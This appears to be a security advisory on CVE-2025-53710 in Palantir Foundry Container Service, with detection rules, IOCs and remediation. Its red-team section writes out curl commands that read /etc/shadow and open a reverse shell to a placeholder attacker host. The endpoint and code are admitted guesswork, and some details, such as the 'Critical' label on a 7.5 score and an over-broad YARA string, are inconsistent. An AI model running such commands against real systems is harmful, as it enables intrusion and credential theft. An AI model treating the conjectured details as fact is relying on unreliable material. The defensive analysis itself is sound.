CVE-2025-53710

Executive Summary

CVE-2025-53710 is a critical vulnerability in Palantir Foundry Container Service, arising from a product misconfiguration in certain deployment types. The flaw allows pods within the same Kubernetes namespace to communicate with each other without proper access controls, specifically through a vulnerable endpoint that executes user-controlled commands locally. This bypass of access control can lead to unauthorized lateral movement, command execution, and potential data exfiltration within the Foundry environment. The CVSS score of 7.5 (High) reflects the ease of exploitation (network-based, low complexity, no privileges required) and the high impact on confidentiality, integrity, and availability. No public proof-of-concept or patch details are currently available, making this a high-priority issue for Palantir customers.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a configuration and endpoint security issue within Palantir's proprietary Foundry Container Service.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Potential for full data access.
• Integrity Impact: High (I:H) – Potential for data modification.
• Availability Impact: High (A:H) – Potential for service disruption.

Threat Level: Critical due to the lack of authentication, remote exploitability, and the ability to execute arbitrary commands. The absence of a patch increases the risk.

Deep Dive & Mechanics

The vulnerability stems from a misconfiguration in Palantir Foundry Container Service deployments. In certain deployment types, network policies within Kubernetes namespaces are not properly enforced, allowing pods to communicate with each other without restriction. The critical component is a vulnerable endpoint within the Foundry Container Service that accepts user-controlled commands and executes them locally on the pod. This endpoint, likely an API or management interface, does not validate or sanitize input, enabling an attacker to send crafted requests that result in arbitrary command execution.

Attack Flow:

1. Reconnaissance: An attacker identifies a Foundry deployment with the misconfiguration. They enumerate pods in the same namespace using Kubernetes API or service discovery.
2. Lateral Movement: The attacker sends a request to the vulnerable endpoint on a target pod, bypassing network policies due to the misconfiguration.
3. Command Execution: The endpoint executes the attacker-supplied command locally, allowing the attacker to run shell commands, exfiltrate data, or deploy malware.
4. Escalation: The attacker can pivot to other pods or services within the namespace, potentially compromising the entire Foundry environment.

Root Cause: The product misconfiguration likely involves missing or overly permissive Kubernetes NetworkPolicies, combined with an insecure endpoint that does not enforce authentication or input validation.

Vulnerable vs. Patched Code

Since no patch details are available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Conceptual):

# Vulnerable endpoint in Foundry Container Service
@app.route('/execute', methods=['POST'])
def execute_command():
    command = request.json.get('command')
    # No authentication or input validation
    result = subprocess.run(command, shell=True, capture_output=True)
    return jsonify({'output': result.stdout.decode()})

Patched Code (Conceptual):

# Patched endpoint with authentication and input validation
from flask import request, jsonify
import subprocess
import shlex

@app.route('/execute', methods=['POST'])
def execute_command():
    # Authentication check
    if not request.headers.get('Authorization') == 'Bearer <valid_token>':
        return jsonify({'error': 'Unauthorized'}), 401
    command = request.json.get('command')
    # Input validation: only allow predefined commands
    allowed_commands = ['ls', 'ps', 'df']
    if command not in allowed_commands:
        return jsonify({'error': 'Invalid command'}), 400
    # Use shlex to prevent shell injection
    result = subprocess.run(shlex.split(command), capture_output=True)
    return jsonify({'output': result.stdout.decode()})

Key Differences:

• Authentication: Patched version requires a valid token.
• Input Validation: Patched version restricts commands to a whitelist.
• Shell Injection Prevention: Patched version uses shlex.split() instead of shell=True.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Kubernetes cluster with Palantir Foundry Container Service (vulnerable deployment type).
• Attacker pod in the same namespace as the target pod.
• Tools: kubectl, curl, netcat.

Exploitation Steps:

1. Identify Target Pod:

   kubectl get pods -n foundry-namespace
   

2. Discover Vulnerable Endpoint:

   kubectl exec -it attacker-pod -- /bin/bash
   curl -s http://target-pod:8080/execute -X POST -H "Content-Type: application/json" -d '{"command":"id"}'
   

3. Execute Arbitrary Command:

   curl -s http://target-pod:8080/execute -X POST -H "Content-Type: application/json" -d '{"command":"cat /etc/shadow"}'
   

4. Establish Reverse Shell:

   # On attacker machine
   nc -lvnp 4444
   # In the request
   curl -s http://target-pod:8080/execute -X POST -H "Content-Type: application/json" -d '{"command":"bash -i >& /dev/tcp/attacker-ip/4444 0>&1"}'
   

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defensive)

Detection & Response:

1. Monitor Network Traffic: Look for unusual HTTP POST requests to /execute or similar endpoints.
2. Audit Kubernetes Network Policies: Ensure strict NetworkPolicies are in place to restrict pod-to-pod communication.
3. Endpoint Hardening: Disable or secure any management endpoints that execute commands.
4. Log Analysis: Check for shell commands in API logs (e.g., id, cat, bash).
5. Incident Response: If exploitation is detected, isolate the affected namespace and revoke access.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /execute or similar endpoints.
  • Outbound connections from pods to external IPs on ports 4444, 8080, etc.
  • Unusual DNS queries for command-and-control servers.
• File IOCs:
  • Unexpected scripts or binaries in /tmp or /var/tmp.
  • Modified system files (e.g., /etc/shadow).
• Process IOCs:
  • Shell processes spawned by the Foundry Container Service.
  • Reverse shell processes (e.g., bash -i).
• Kubernetes IOCs:
  • Pods with unexpected network connections.
  • Anomalous API calls to the Kubernetes API server.

Detection Engineering

YARA Rule

rule CVE_2025_53710_Command_Execution {
    meta:
        description = "Detects command execution attempts targeting CVE-2025-53710"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53710"
    strings:
        $cmd1 = "id" ascii wide nocase
        $cmd2 = "cat /etc/shadow" ascii wide nocase
        $cmd3 = "bash -i" ascii wide nocase
        $cmd4 = "/execute" ascii wide nocase
    condition:
        any of ($cmd*) and #cmd4 > 0
}

Sigma Rule

title: CVE-2025-53710 - Command Execution via Foundry Container Service
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to the vulnerable /execute endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: palantir_foundry
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/execute'
        cs-content-type: 'application/json'
    condition: selection
falsepositives:
    - Legitimate administrative use (if endpoint is secured)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53710 - Foundry Container Service Command Execution"; flow:to_server; content:"POST"; http_method; content:"/execute"; http_uri; content:"command"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply Network Policies: Implement strict Kubernetes NetworkPolicies to restrict pod-to-pod communication within namespaces.

   apiVersion: networking.k8s.io/v1
   kind: NetworkPolicy
   metadata:
     name: deny-all
     namespace: foundry-namespace
   spec:
     podSelector: {}
     policyTypes:
     - Ingress
     - Egress
   

2. Disable Vulnerable Endpoint: If possible, disable the /execute endpoint or restrict access to it via authentication and IP whitelisting.
3. Update Configuration: Review and correct the deployment configuration to ensure proper network segmentation.

Long-Term Fixes:

• Patch: Await an official patch from Palantir. Monitor their security advisories.
• Code Review: Audit all endpoints that execute commands for proper input validation and authentication.
• Monitoring: Implement continuous monitoring for anomalous API calls and network traffic.

Workarounds:

• Use a Web Application Firewall (WAF) to block requests to /execute.
• Implement mutual TLS (mTLS) for pod-to-pod communication.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert